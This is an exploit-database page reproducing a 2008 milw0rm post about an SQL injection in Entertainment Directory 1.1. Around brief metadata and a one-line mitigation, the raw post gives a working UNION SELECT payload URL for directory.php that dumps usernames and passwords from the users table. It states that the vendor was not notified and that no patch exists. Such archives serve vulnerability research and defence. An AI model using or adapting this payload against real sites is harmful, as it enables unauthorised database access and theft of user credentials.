Entertainment Directory - exploit.company

vendor:

Entertainment Directory

by:

t0pP8uZz & xprog

8.3

CVSS

HIGH

SQL Injection

CWE

Product Name: Entertainment Directory

Affected Version From: 1.1

Affected Version To: 1.1

Patch Exists: NO

Related CWE: N/A

CPE: a:turnkeyzone:entertainment_directory

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Entertainment Directory <= 1.1 SQL Injection Vulnerability

Entertainment directory is vulnerable due to a insecure mysql query. This allows the remote attacker to obtain user credentials from the database.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in a SQL query.

Source

Exploit-DB raw data:

--==+================================================================================+==--
--==+	       Entertainment Directory <= 1.1 SQL Injection Vulnerbility             +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz & xprog
Discovered On: 5 April 2008
Script Download: http://www.turnkeyzone.com
DORK: N/A
Vendor Has Not Been Notified!


DESCRIPTION: 
Entertainment directory is vulnerable due to a insecure mysql query. this allows the remote attacker
to obtain user credentials from the database.


EXPLOITS:
http://site.com/directory.php?cat=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,CONCAT(username,char(58),password),9,10,11,12,13,14/**/FROM/**/users/*



NOTE/TIP: 


GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew!



--==+================================================================================+==--
--==+	       Entertainment Directory <= 1.1 SQL Injection Vulnerbility             +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-05]